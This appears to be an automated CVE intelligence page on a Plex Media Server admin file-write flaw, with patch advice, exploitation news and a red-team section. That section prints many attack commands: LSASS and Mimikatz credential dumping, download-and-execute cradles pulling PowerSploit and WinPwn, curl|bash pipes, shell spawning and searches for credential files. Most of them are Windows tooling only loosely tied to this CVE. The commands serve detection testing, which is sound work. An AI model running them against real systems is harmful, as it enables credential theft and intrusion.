CVE-2026-96656
Overview
This vulnerability is a file write flaw rooted in insufficient validation of administrator-controlled preferences within Plex Media Server. Specifically, the TranscoderH264Options preference is appended directly to the x264 encoder's option string during every media transcode operation. Additionally, the server executes all shared object (.so) files at startup without verifying signatures, execute permissions, or symbol integrity, enabling arbitrary file execution through crafted inputs.
Vulnerability Description
Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.
Impact
An attacker with administrator privileges can leverage this vulnerability to write and execute arbitrary shared object files on the server, resulting in full code execution within the Plex Media Server process context. This enables complete system compromise, including access to media data, user information, and potential lateral movement within the network. The prerequisite is possession of an admin account on the Plex server. Successful exploitation can disrupt service availability and compromise confidentiality and integrity of the media server environment.
Solution
Upgrade Plex Media Server to version 1.43.3.10861 or later, where this vulnerability is addressed. The vendor's advisory and patch details are available at the official Plex forums and the referenced CSAF advisory (va-26-266-01.json). Administrators should apply the update promptly to mitigate risk. No alternative workarounds are documented in the provided references.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Plex | Media Server | All |
cpe:2.3:a:plex:media_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
a3igner/plex-codec-cache-implant
Incident write-up: unsigned .so in the Plex Media Server codec cache executes a dropper on every transcode (CVE-2026-966...
|
a3igner | 0 | 0 | 2026-10-18 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: Plex, product: Media Server
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed with 19 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (41)
1 mention from 1 source in the last 7 days BuzzFactor 7 / 100
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social bsky.app @support.tools 2026-10-28 21:26 UTCCISA added four Plex Media Server CVEs to KEV on Oct 20, including CVE-2026-96656. Self-hosting Plex? Check your version, run read-only compromise checks that never print your token, and patch to 1.43.3.10861 or later. Plus the NO_PUBKEY a…Open source
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social swecyb.com @116080658609901341 2026-10-22 14:54 UTC(cyberunit.com) Plex2Shell Exploit Chain: Critical Vulnerabilities in Plex Media Server Enable Unauthenticated Remote Code Execution In brief - This article discusses the 'Plex2Shell' exploit chain affecting Plex Media Server and warns bus…Open source
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social bsky.app @aiuto-ch.bsky.social 2026-10-22 10:22 UTCCISA KEV | CVE-2026-96656 | Plex / Media Server CISA lists this vulnerability as exploited in the wild. Check affected products and vendor guidance. Source: CISA KEV Full analysis: https://t.me/aiutocomputerhelp_lab/1316Open source
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social bsky.app @ahmandonk.bsky.social 2026-10-22 09:22 UTC📰 CISA Peringatkan Eksploitasi Rantai Celah Plex2Shell pada Server Plex 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/22/cisa-peringatkan-eksploitasi-rantai-celah-plex2shell/ #cisa #cve-2026-96652 #cve-2026-96656 #cyberSecu…Open source
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social infosec.exchange @cloud 2026-10-22 06:33 UTC🤖 CISA: attackers chain four Plex Media Server flaws (≤1.43.2) in "Plex2Shell" — SSRF via any X-Plex-Token value (CVE-2026-96652/96655), encoded URI scheme abuse (96654), then arbitrary file write that executes on load (CVE-2026-96656). Al…Open source
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social bsky.app @fidget.fans 2026-10-22 05:34 UTCMy Plex Server was pwnd on the 19th. Make sure you're up to date, or better yet switch to Jellyfin with some actual security. github.com/code-zm/plex...Open source
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news t.co 2026-10-21 20:10 UTCCISA Warns of Active Exploitation of Plex2Shell and Other Flaws · cyber.hendryadrian.com - Howl.linkOpen source
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social bsky.app @elcompilado.com 2026-10-21 19:00 UTCCISA sumó al catálogo de explotadas cinco CVEs de Plex Media Server, encadenables entre sí, con fecha límite federal del 23/10Open source
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social bsky.app @zoomeyebot.bsky.social 2026-10-21 16:45 UTCCVE-2026-96656: Plex admin file write. Search: app="Plex Media Server" Exposure: 507,974 product assets, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.Open source
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social bsky.app @planetbriefing.bsky.social 2026-10-21 16:09 UTCCVE-2026-96656: Plex Media Server External Control of File Name or Path Vulnerability The source reports a Plex Media Server vulnerability t… https://planetbriefing.com/events/cve-2026-96656-plex-media-server-external-control-of-file-name-…Open source
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social bsky.app @yogsec.bsky.social 2026-10-21 14:19 UTCCVE-2026-96652 Plex Media Server SSRF flaw, part of the Plex2Shell chain. Unauthenticated attackers can chain it with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656 to achieve remote code execution. nvd.nist.gov/vuln/detail/... #CVE #P…Open source
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news t.co 2026-10-21 14:16 UTCCISA Sets Patch Deadlines for Exploited Plex2Shell, Siemens and SiteGuard Flaws · cyber.hendryadrian.com - Howl.linkOpen source
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news the420.in 2026-10-21 13:02 UTCHackers Exploit Plex Media Server Weaknesses to Deploy Miners and Proxy Malware - The420.inOpen source
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news secnews.gr 2026-10-21 10:19 UTCCISA: Patches for Plex2Shell, Siemens and SiteGuard vulnerabilities - SecNews.grOpen source
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news thehackernews.com 2026-10-21 07:26 UTCCISA Orders Federal Agencies to Patch Exploited Plex2Shell, Siemens, and SiteGuard Flaws - The Hacker NewsOpen source
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social bsky.app @threatspotai.bsky.social 2026-10-21 06:30 UTC🚨 CISA KEV Alert CVE-2026-96656: ⚠️ CVE-2026-96656: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 0.4% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-96656-plex-media-s…Open source
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social bsky.app @cybowl.bsky.social 2026-10-21 06:22 UTC🔴 Exploitation confirmée (CISA KEV, ajouts du 20/10) · 4 • Siemens Software Center CVE-2026-110936, CVSS 8.4 • Plex Media Server CVE-2026-96654, CVSS 6.9 • Plex Media Server CVE-2026-96655, CVSS 5.3 • Plex Media Server CVE-2026-96656, CVSS…Open source
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news t.co 2026-10-21 06:08 UTCCISA Adds Six Actively Exploited Vulnerabilities to KEV Catalog · cyber.hendryadrian.com - Howl.linkOpen source
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social bsky.app @yogsec.bsky.social 2026-10-21 05:15 UTCCVE-2026-96654 Plex Media Server has an improper neutralization of encoded URI schemes. An attacker can call other plugins' functions with their own parameters, chainable with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656. nvd.nist.go…Open source
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news secnews.gr 2026-10-21 05:01 UTCPlex2Shell: CISA Deadlines for Plex Media Server - SecNews.grOpen source
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social bsky.app @ninjaintelgroup.bsky.social 2026-10-20 22:15 UTC🚨 NEW on CISA KEV — exploited in the wild Plex Media Server: Plex Media Server External Control of File Name or Path Vulnerability CVE-2026-96656 · patch by 2026-10-23 🔗 https://ninjasignal.ninja/intel/cve/CVE-2026-96656 #KEV #cybersecurit…Open source
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social bsky.app @aipostdaily.bsky.social 2026-10-20 21:20 UTCCISA added CVE-2026-96656 to its Known Exploited Vulnerabilities list (2026-10-20). Plex Media Server External Control of File Name or Path EPSS today: 0.004 (no score 30 days earlier) #infosec #KEVOpen source
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social bsky.app @thecircuitry.to 2026-10-20 20:28 UTCCISA added Plex Media Server flaw CVE-2026-96656 to its exploited list. It lets an admin user write arbitrary files. https://thecircuitry.to/article/cisa-adds-actively-exploited-plex-media-server-flaw-to-kev-catalog-mvh3aix3?utm_source=blu…Open source
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social bsky.app @cisa-feed-onblue.bsky.social 2026-10-20 19:59 UTCLatest post from CISAOpen source
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social bsky.app @cvesentinel.bsky.social 2026-10-20 19:40 UTC🛑 CVE-2026-96656 Plex Media Server CVSS 8.6 / EPSS 0% / KEV: No TL;DR: Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that … https://cvesentinel.com/report/CVE-2026-96656?utm_source=bluesky&utm_medium=s…Open source
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news betanews.com 2026-10-20 18:54 UTCPlex confirms active exploitation of unpatched media servers and publishes four CVEs - BetaNewsOpen source
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social bsky.app @cvemon.bsky.social 2026-10-20 15:09 UTCCVE-2026-96656 is trending. Hype score 6, currently #4 on cvemon. Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim t…Open source
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code github.com ChrisLPJones 2026-10-20 04:07 UTCChrisLPJones/plex2shell-checkOpen source
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news threatsensor.csurface.io 2026-10-20 00:00 UTCCISA Adds Plex Media Server Vulnerability CVE-2026-96656 to KEV CatalogOpen source
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social bsky.app @cyberveille-ch.bsky.social 2026-10-19 18:30 UTC📢 Exploitation in-the-wild de vulnérabilités Plex Media Server via chaîne RCE (plex2shell) Le chercheur zmain a découvert et chaîné plusieurs vulnérabilités dans Plex Media Server v1.43.2 et antérieures pour obtenir une exécution… 🟢 vérifi…Open source
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news thehackernews.com 2026-10-19 17:32 UTCHackers Exploit Plex2Shell Flaws to Install Crypto Miners and Linux Proxy Backdoor - The Hacker NewsOpen source
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news gizmodo.com 2026-10-19 13:00 UTCYour Plex Server Could Be Mining Crypto for Hackers - GizmodoOpen source
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news tech-insider.org 2026-10-19 07:00 UTCPlex2Shell Vulnerability: Patch Plex Server Now [2026] - https://tech-insider.org/Open source
